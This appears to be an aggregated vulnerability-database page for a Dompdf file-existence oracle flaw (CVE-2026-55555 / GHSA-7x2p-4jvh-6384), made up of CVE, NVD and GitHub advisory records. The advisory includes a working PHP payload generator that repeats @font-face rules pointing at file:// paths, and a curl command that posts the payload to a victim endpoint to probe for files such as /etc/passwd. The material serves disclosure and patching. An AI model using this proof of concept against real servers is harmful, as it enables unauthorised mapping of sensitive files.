CVE-2026-55555 (GCVE-0-2026-55555)
Vulnerability from cvelistv5 – Published: 2026-07-28 19:23 – Updated: 2026-07-28 19:43
VLAI
EPSS
VEX
Title
Dompdf: File existence oracle via font-face stylesheet declaration
Summary
Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior are vulnerable to a File Existence Oracle attack through the manipulation of the CSS @font-face directive. By providing malicious HTML that references local files via the file:// protocol repeatedly, an attacker can trigger PHP memory exhaustion. Because Dompdf behaves differently depending on whether a referenced local file exists (an existing file is processed repeatedly until it triggers an "Allowed memory size exhausted" crash, whereas a missing file fails fast or is ignored and never hits the memory limit), an attacker can use this observable discrepancy as an oracle to enumerate sensitive files on the server regardless of CHROOT restrictions. Exploitation requires the attacker to supply unrestricted or unsanitized HTML in a request that permits large data, plus a configuration where Dompdf's memory limit is low enough to be exhausted (with $_dompdf_show_warnings=true making the overflow easier to reach). This issue has been fixed in version 3.16.
Severity
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-07-28 19:43 UTC
CWE
- CWE-203 - Observable Discrepancy
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/dompdf/dompdf/security/advisor… | x_refsource_CONFIRM |
| https://github.com/dompdf/dompdf/commit/75c39a083… | x_refsource_MISC |
| https://github.com/dompdf/dompdf/releases/tag/v3.1.6 | x_refsource_MISC |
Impacted products
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-55555",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-28T19:43:22.142480Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-07-28T19:43:31.156Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/dompdf/dompdf/security/advisories/GHSA-7x2p-4jvh-6384"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "dompdf",
"vendor": "dompdf",
"versions": [
{
"status": "affected",
"version": "\u003c 3.1.6"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior are vulnerable to a File Existence Oracle attack through the manipulation of the CSS @font-face directive. By providing malicious HTML that references local files via the file:// protocol repeatedly, an attacker can trigger PHP memory exhaustion. Because Dompdf behaves differently depending on whether a referenced local file exists (an existing file is processed repeatedly until it triggers an \"Allowed memory size exhausted\" crash, whereas a missing file fails fast or is ignored and never hits the memory limit), an attacker can use this observable discrepancy as an oracle to enumerate sensitive files on the server regardless of CHROOT restrictions. Exploitation requires the attacker to supply unrestricted or unsanitized HTML in a request that permits large data, plus a configuration where Dompdf\u0027s memory limit is low enough to be exhausted (with \u00a0$_dompdf_show_warnings=true\u00a0 making the overflow easier to reach). This issue has been fixed in version 3.16."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 2.3,
"baseSeverity": "LOW",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "PASSIVE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "NONE"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-203",
"description": "CWE-203: Observable Discrepancy",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-28T19:23:45.525Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/dompdf/dompdf/security/advisories/GHSA-7x2p-4jvh-6384",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/dompdf/dompdf/security/advisories/GHSA-7x2p-4jvh-6384"
},
{
"name": "https://github.com/dompdf/dompdf/commit/75c39a083bf7298044fb27399b4cc183054438b4",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/dompdf/dompdf/commit/75c39a083bf7298044fb27399b4cc183054438b4"
},
{
"name": "https://github.com/dompdf/dompdf/releases/tag/v3.1.6",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/dompdf/dompdf/releases/tag/v3.1.6"
}
],
"source": {
"advisory": "GHSA-7x2p-4jvh-6384",
"discovery": "UNKNOWN"
},
"title": "Dompdf: File existence oracle via font-face stylesheet declaration"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-55555",
"datePublished": "2026-07-28T19:23:45.525Z",
"dateReserved": "2026-06-16T23:11:20.213Z",
"dateUpdated": "2026-07-28T19:43:31.156Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-55555",
"date": "2026-11-11",
"epss": "0.00508",
"percentile": "0.43863"
},
"nvd": {
"cve": {
"affected": [
{
"affectedData": [
{
"product": "dompdf",
"vendor": "dompdf",
"versions": [
{
"status": "affected",
"version": "\u003c 3.1.6"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:dompdf_project:dompdf:*:*:*:*:*:*:*:*",
"matchCriteriaId": "C2793AF7-3B3D-47DB-B48C-1D85960F2EBA",
"versionEndExcluding": "3.16",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior are vulnerable to a File Existence Oracle attack through the manipulation of the CSS @font-face directive. By providing malicious HTML that references local files via the file:// protocol repeatedly, an attacker can trigger PHP memory exhaustion. Because Dompdf behaves differently depending on whether a referenced local file exists (an existing file is processed repeatedly until it triggers an \"Allowed memory size exhausted\" crash, whereas a missing file fails fast or is ignored and never hits the memory limit), an attacker can use this observable discrepancy as an oracle to enumerate sensitive files on the server regardless of CHROOT restrictions. Exploitation requires the attacker to supply unrestricted or unsanitized HTML in a request that permits large data, plus a configuration where Dompdf\u0027s memory limit is low enough to be exhausted (with \u00a0$_dompdf_show_warnings=true\u00a0 making the overflow easier to reach). This issue has been fixed in version 3.16."
}
],
"id": "CVE-2026-55555",
"lastModified": "2026-08-05T16:29:57.757",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": [
{
"cvssData": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"availabilityRequirement": "NOT_DEFINED",
"baseScore": 2.3,
"baseSeverity": "LOW",
"confidentialityRequirement": "NOT_DEFINED",
"exploitMaturity": "NOT_DEFINED",
"integrityRequirement": "NOT_DEFINED",
"modifiedAttackComplexity": "NOT_DEFINED",
"modifiedAttackRequirements": "NOT_DEFINED",
"modifiedAttackVector": "NOT_DEFINED",
"modifiedPrivilegesRequired": "NOT_DEFINED",
"modifiedSubAvailabilityImpact": "NOT_DEFINED",
"modifiedSubConfidentialityImpact": "NOT_DEFINED",
"modifiedSubIntegrityImpact": "NOT_DEFINED",
"modifiedUserInteraction": "NOT_DEFINED",
"modifiedVulnAvailabilityImpact": "NOT_DEFINED",
"modifiedVulnConfidentialityImpact": "NOT_DEFINED",
"modifiedVulnIntegrityImpact": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "PASSIVE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-55555",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-28T19:43:22.142480Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-07-28T20:17:26.867",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/dompdf/dompdf/commit/75c39a083bf7298044fb27399b4cc183054438b4"
},
{
"source": "security-advisories@github.com",
"tags": [
"Release Notes"
],
"url": "https://github.com/dompdf/dompdf/releases/tag/v3.1.6"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/dompdf/dompdf/security/advisories/GHSA-7x2p-4jvh-6384"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/dompdf/dompdf/security/advisories/GHSA-7x2p-4jvh-6384"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-203"
}
],
"source": "security-advisories@github.com",
"type": "Primary"
}
]
}
},
"vulnrichment": {
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-55555",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-28T19:43:22.142480Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-07-28T19:42:43.831Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/dompdf/dompdf/security/advisories/GHSA-7x2p-4jvh-6384"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "dompdf",
"vendor": "dompdf",
"versions": [
{
"status": "affected",
"version": "\u003c 3.1.6"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior are vulnerable to a File Existence Oracle attack through the manipulation of the CSS @font-face directive. By providing malicious HTML that references local files via the file:// protocol repeatedly, an attacker can trigger PHP memory exhaustion. Because Dompdf behaves differently depending on whether a referenced local file exists (an existing file is processed repeatedly until it triggers an \"Allowed memory size exhausted\" crash, whereas a missing file fails fast or is ignored and never hits the memory limit), an attacker can use this observable discrepancy as an oracle to enumerate sensitive files on the server regardless of CHROOT restrictions. Exploitation requires the attacker to supply unrestricted or unsanitized HTML in a request that permits large data, plus a configuration where Dompdf\u0027s memory limit is low enough to be exhausted (with \u00a0$_dompdf_show_warnings=true\u00a0 making the overflow easier to reach). This issue has been fixed in version 3.16."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 2.3,
"baseSeverity": "LOW",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "PASSIVE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "NONE"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-203",
"description": "CWE-203: Observable Discrepancy",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-28T19:23:45.525Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/dompdf/dompdf/security/advisories/GHSA-7x2p-4jvh-6384",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/dompdf/dompdf/security/advisories/GHSA-7x2p-4jvh-6384"
},
{
"name": "https://github.com/dompdf/dompdf/commit/75c39a083bf7298044fb27399b4cc183054438b4",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/dompdf/dompdf/commit/75c39a083bf7298044fb27399b4cc183054438b4"
},
{
"name": "https://github.com/dompdf/dompdf/releases/tag/v3.1.6",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/dompdf/dompdf/releases/tag/v3.1.6"
}
],
"source": {
"advisory": "GHSA-7x2p-4jvh-6384",
"discovery": "UNKNOWN"
},
"title": "Dompdf: File existence oracle via font-face stylesheet declaration"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-55555",
"datePublished": "2026-07-28T19:23:45.525Z",
"dateReserved": "2026-06-16T23:11:20.213Z",
"dateUpdated": "2026-07-28T19:43:31.156Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
FKIE_CVE-2026-55555
Vulnerability from fkie_nvd - Published: 2026-07-28 20:17 - Updated: 2026-08-05 16:29
Severity
Summary
Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior are vulnerable to a File Existence Oracle attack through the manipulation of the CSS @font-face directive. By providing malicious HTML that references local files via the file:// protocol repeatedly, an attacker can trigger PHP memory exhaustion. Because Dompdf behaves differently depending on whether a referenced local file exists (an existing file is processed repeatedly until it triggers an "Allowed memory size exhausted" crash, whereas a missing file fails fast or is ignored and never hits the memory limit), an attacker can use this observable discrepancy as an oracle to enumerate sensitive files on the server regardless of CHROOT restrictions. Exploitation requires the attacker to supply unrestricted or unsanitized HTML in a request that permits large data, plus a configuration where Dompdf's memory limit is low enough to be exhausted (with $_dompdf_show_warnings=true making the overflow easier to reach). This issue has been fixed in version 3.16.
References
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| dompdf_project | dompdf | * |
{
"affected": [
{
"affectedData": [
{
"product": "dompdf",
"vendor": "dompdf",
"versions": [
{
"status": "affected",
"version": "\u003c 3.1.6"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:dompdf_project:dompdf:*:*:*:*:*:*:*:*",
"matchCriteriaId": "C2793AF7-3B3D-47DB-B48C-1D85960F2EBA",
"versionEndExcluding": "3.16",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior are vulnerable to a File Existence Oracle attack through the manipulation of the CSS @font-face directive. By providing malicious HTML that references local files via the file:// protocol repeatedly, an attacker can trigger PHP memory exhaustion. Because Dompdf behaves differently depending on whether a referenced local file exists (an existing file is processed repeatedly until it triggers an \"Allowed memory size exhausted\" crash, whereas a missing file fails fast or is ignored and never hits the memory limit), an attacker can use this observable discrepancy as an oracle to enumerate sensitive files on the server regardless of CHROOT restrictions. Exploitation requires the attacker to supply unrestricted or unsanitized HTML in a request that permits large data, plus a configuration where Dompdf\u0027s memory limit is low enough to be exhausted (with \u00a0$_dompdf_show_warnings=true\u00a0 making the overflow easier to reach). This issue has been fixed in version 3.16."
}
],
"id": "CVE-2026-55555",
"lastModified": "2026-08-05T16:29:57.757",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": [
{
"cvssData": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"availabilityRequirement": "NOT_DEFINED",
"baseScore": 2.3,
"baseSeverity": "LOW",
"confidentialityRequirement": "NOT_DEFINED",
"exploitMaturity": "NOT_DEFINED",
"integrityRequirement": "NOT_DEFINED",
"modifiedAttackComplexity": "NOT_DEFINED",
"modifiedAttackRequirements": "NOT_DEFINED",
"modifiedAttackVector": "NOT_DEFINED",
"modifiedPrivilegesRequired": "NOT_DEFINED",
"modifiedSubAvailabilityImpact": "NOT_DEFINED",
"modifiedSubConfidentialityImpact": "NOT_DEFINED",
"modifiedSubIntegrityImpact": "NOT_DEFINED",
"modifiedUserInteraction": "NOT_DEFINED",
"modifiedVulnAvailabilityImpact": "NOT_DEFINED",
"modifiedVulnConfidentialityImpact": "NOT_DEFINED",
"modifiedVulnIntegrityImpact": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "PASSIVE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-55555",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-28T19:43:22.142480Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-07-28T20:17:26.867",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/dompdf/dompdf/commit/75c39a083bf7298044fb27399b4cc183054438b4"
},
{
"source": "security-advisories@github.com",
"tags": [
"Release Notes"
],
"url": "https://github.com/dompdf/dompdf/releases/tag/v3.1.6"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/dompdf/dompdf/security/advisories/GHSA-7x2p-4jvh-6384"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/dompdf/dompdf/security/advisories/GHSA-7x2p-4jvh-6384"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-203"
}
],
"source": "security-advisories@github.com",
"type": "Primary"
}
]
}
GHSA-7X2P-4JVH-6384
Vulnerability from github – Published: 2026-07-22 21:07 – Updated: 2026-07-22 21:07
VLAI
Summary
Dompdf: File existence oracle via font-face stylesheet declaration
Details
Description
Dompdf is vulnerable to a File Existence Oracle attack through the manipulation of the CSS @font-face directive. By providing malicious HTML that references local files via the file:// protocol repeatedly, an attacker can trigger PHP memory exhaustion.
The critical point of this flaw is the discrepancy in system behavior:
- If the file exists: Dompdf attempts to process the local resource multiple times, leading to an "Allowed memory size exhausted" error, which crashes the creation.
- If the file does NOT exist: The rendering engine fails quickly or ignores the import, and the memory limit is not reached.
This discrepancy allows an attacker to enumerate sensitive files on the server, regardless of CHROOT restrictions.
Some factors impact the ability of attackers to exploit the vulnerability:
- The attacker must be allowed to provide unrestricted and/or unsanitized HTML content.
- System parameters must be configured in such a way that Dompdf is able to generate a memory overflow error.
- HTTP GET querystring or POST body must allow large data
- Memory limits must be low enough that Dompdf can trigger an overflow
- $_dompdf_show_warnings when set to true can bump memory usage
Example Scenario
1. Vulnerable System
A web application provides a public mechanism for generating a PDF based on user supplied content. The application accepts raw HTML input or renders user-supplied content without sanitation or validation and processes it using Dompdf.
- Vulnerable Endpoint: http://example.com/index.php
- Vulnerable Parameter: html_input (POST)
index.php simplified:
$dompdf = new Dompdf(new Options());
$dompdf->loadHtml($_POST['html_input']);
$dompdf->render();
$dompdf->stream("document.pdf");
2. Attack Generation
The attacker runs a script locally on their own machine to generate a heavy payload. This payload is then sent to the victim's public endpoint via a standard HTTP POST request.
- Attacker's Local Script (payload_gen.php):
<?php
/**
* Usage: php exploit.php <file_path> <iterations>
* Example: php exploit.php /etc/passwd 5000
*/
// Check if the file argument was provided
if ($argc < 2) {
echo "[-] Usage: php exploit.php <file_to_read> [iterations]\n";
exit(1);
}
$file = $argv[1];
$iterations = isset($argv[2]) ? (int)$argv[2] : 5000;
function generate_payload($file, $iterations) {
$css = "";
$body = "";
// We use @font-face to trick the engine into attempting a local file read
for ($i = 0; $i < $iterations; $i++) {
$css .= "@font-face { font-family: \"f{$i}\"; src: url(\"file://{$file}\"); }\n";
$body .= "<span style=\"font-family:f{$i}\">.</span>";
}
return "<html><head><style>{$css}</style></head><body>{$body}</body></html>";
}
// Output the payload to stdout for piping
echo generate_payload($file, $iterations);
?>
3. Exploitation
The attacker pipes the malicious HTML into a curl request targeting the remote server:
php payload_gen.php /etc/passwd 5530 | curl -X POST https://victim-app.com/index.php \
--data-urlencode "html_input@-" \
--output response.pdf
By analyzing the response.pdf file generated (by the size or error), the remote attacker can confirm the existence of files without having direct access to the server. When a file reference is valid and the execution parameters are met, Dompdf overflows the PHP limit and hangs/crashes.
Existent file:
Non-existent file:
Note that the specific iteration count that will trigger the overflow varies by system. This is based on the memory limit imposed by the target system as well as the PHP internals related to memory management (heap allocation and garbage clean up). Under most scenarios there is no apparent difference in memory usage between existent and non-existent files. But with a specific number of file operations the memory limit can be breached only when the file exists.
Impact
Information Disclosure (File Oracle via Reflected HTML): In scenarios where a user can control reflected HTML, an attacker can confirm the existence of sensitive local files (e.g., .env files, SSH keys, or system configurations). By observing whether the application returns a memory exhaustion error (file exists) or renders normally (file does not exist), the attacker can systematically map the server's file system.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "dompdf/dompdf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55555"
],
"database_specific": {
"cwe_ids": [
"CWE-203"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:07:07Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Description\n\nDompdf is vulnerable to a **File Existence Oracle** attack through the manipulation of the CSS `@font-face` directive. By providing malicious HTML that references local files via the `file://` protocol repeatedly, an attacker can trigger PHP memory exhaustion.\n\nThe critical point of this flaw is the discrepancy in system behavior:\n\n1. **If the file exists:** Dompdf attempts to process the local resource multiple times, leading to an \"Allowed memory size exhausted\" error, which crashes the creation.\n2. **If the file does NOT exist:** The rendering engine fails quickly or ignores the import, and the memory limit is not reached.\n\nThis discrepancy allows an attacker to enumerate sensitive files on the server, regardless of `CHROOT` restrictions.\n\nSome factors impact the ability of attackers to exploit the vulnerability:\n- The attacker must be allowed to provide unrestricted and/or unsanitized HTML content.\n- System parameters must be configured in such a way that Dompdf is able to generate a memory overflow error.\n - HTTP GET querystring or POST body must allow large data\n - Memory limits must be low enough that Dompdf can trigger an overflow\n - `$_dompdf_show_warnings` when set to true can bump memory usage\n\n---\n\n## Example Scenario\n\n### 1. Vulnerable System\n\nA web application provides a public mechanism for generating a PDF based on user supplied content. The application accepts raw HTML input or renders user-supplied content without sanitation or validation and processes it using Dompdf.\n\n- Vulnerable Endpoint: http://example.com/index.php\n- Vulnerable Parameter: html_input (POST)\n\n`index.php` simplified:\n```\n$dompdf = new Dompdf(new Options());\n$dompdf-\u003eloadHtml($_POST[\u0027html_input\u0027]);\n$dompdf-\u003erender();\n$dompdf-\u003estream(\"document.pdf\");\n```\n\n\u003cimg width=\"2530\" height=\"1320\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a3fe336c-097a-408a-b8b4-cdbaf5f8d7c4\" /\u003e\n\n### 2. Attack Generation\n\nThe attacker runs a script locally on their own machine to generate a heavy payload. This payload is then sent to the victim\u0027s public endpoint via a standard HTTP POST request.\n\n- Attacker\u0027s Local Script (payload_gen.php):\n\n```PHP\n\u003c?php\n\n/**\n * Usage: php exploit.php \u003cfile_path\u003e \u003citerations\u003e\n * Example: php exploit.php /etc/passwd 5000\n */\n\n// Check if the file argument was provided\nif ($argc \u003c 2) {\n echo \"[-] Usage: php exploit.php \u003cfile_to_read\u003e [iterations]\\n\";\n exit(1);\n}\n\n$file = $argv[1];\n$iterations = isset($argv[2]) ? (int)$argv[2] : 5000;\n\nfunction generate_payload($file, $iterations) {\n $css = \"\";\n $body = \"\";\n \n // We use @font-face to trick the engine into attempting a local file read\n for ($i = 0; $i \u003c $iterations; $i++) {\n $css .= \"@font-face { font-family: \\\"f{$i}\\\"; src: url(\\\"file://{$file}\\\"); }\\n\";\n $body .= \"\u003cspan style=\\\"font-family:f{$i}\\\"\u003e.\u003c/span\u003e\";\n }\n \n return \"\u003chtml\u003e\u003chead\u003e\u003cstyle\u003e{$css}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e{$body}\u003c/body\u003e\u003c/html\u003e\";\n}\n\n// Output the payload to stdout for piping\necho generate_payload($file, $iterations);\n\n?\u003e\n```\n\n### 3. Exploitation\n\nThe attacker pipes the malicious HTML into a curl request targeting the remote server:\n\n```\nphp payload_gen.php /etc/passwd 5530 | curl -X POST https://victim-app.com/index.php \\\n\n --data-urlencode \"html_input@-\" \\\n\n --output response.pdf\n```\n\nBy analyzing the `response.pdf` file generated (by the size or error), the remote attacker can confirm the existence of files without having direct access to the server. When a file reference is valid and the execution parameters are met, Dompdf overflows the PHP limit and hangs/crashes.\n\n#### Existent file:\n\u003cimg width=\"2544\" height=\"702\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a565e9b9-5bf7-486c-acac-c2adfc4af536\" /\u003e\n\n#### Non-existent file:\n\u003cimg width=\"1872\" height=\"706\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6e71dbdd-294a-4b2c-a183-4bbbfddcdee2\" /\u003e\n\nNote that the specific iteration count that will trigger the overflow varies by system. This is based on the memory limit imposed by the target system as well as the PHP internals related to memory management (heap allocation and garbage clean up). Under most scenarios there is no apparent difference in memory usage between existent and non-existent files. But with a specific number of file operations the memory limit can be breached only when the file exists.\n\n---\n\n## Impact\n\n**Information Disclosure (File Oracle via Reflected HTML)**: In scenarios where a user can control reflected HTML, an attacker can confirm the existence of sensitive local files (e.g., `.env` files, SSH keys, or system configurations). By observing whether the application returns a memory exhaustion error (file exists) or renders normally (file does not exist), the attacker can systematically map the server\u0027s file system.",
"id": "GHSA-7x2p-4jvh-6384",
"modified": "2026-07-22T21:07:07Z",
"published": "2026-07-22T21:07:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dompdf/dompdf/security/advisories/GHSA-7x2p-4jvh-6384"
},
{
"type": "WEB",
"url": "https://github.com/dompdf/dompdf/commit/75c39a083bf7298044fb27399b4cc183054438b4"
},
{
"type": "PACKAGE",
"url": "https://github.com/dompdf/dompdf"
},
{
"type": "WEB",
"url": "https://github.com/dompdf/dompdf/releases/tag/v3.1.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Dompdf: File existence oracle via font-face stylesheet declaration"
}
UBUNTU-CVE-2026-55555 (CVE-2026-55555)
Vulnerability from osv_ubuntu – Published: 2026-07-28 20:17 – Updated: 2026-08-06 19:59 – Source website
VLAI
Details
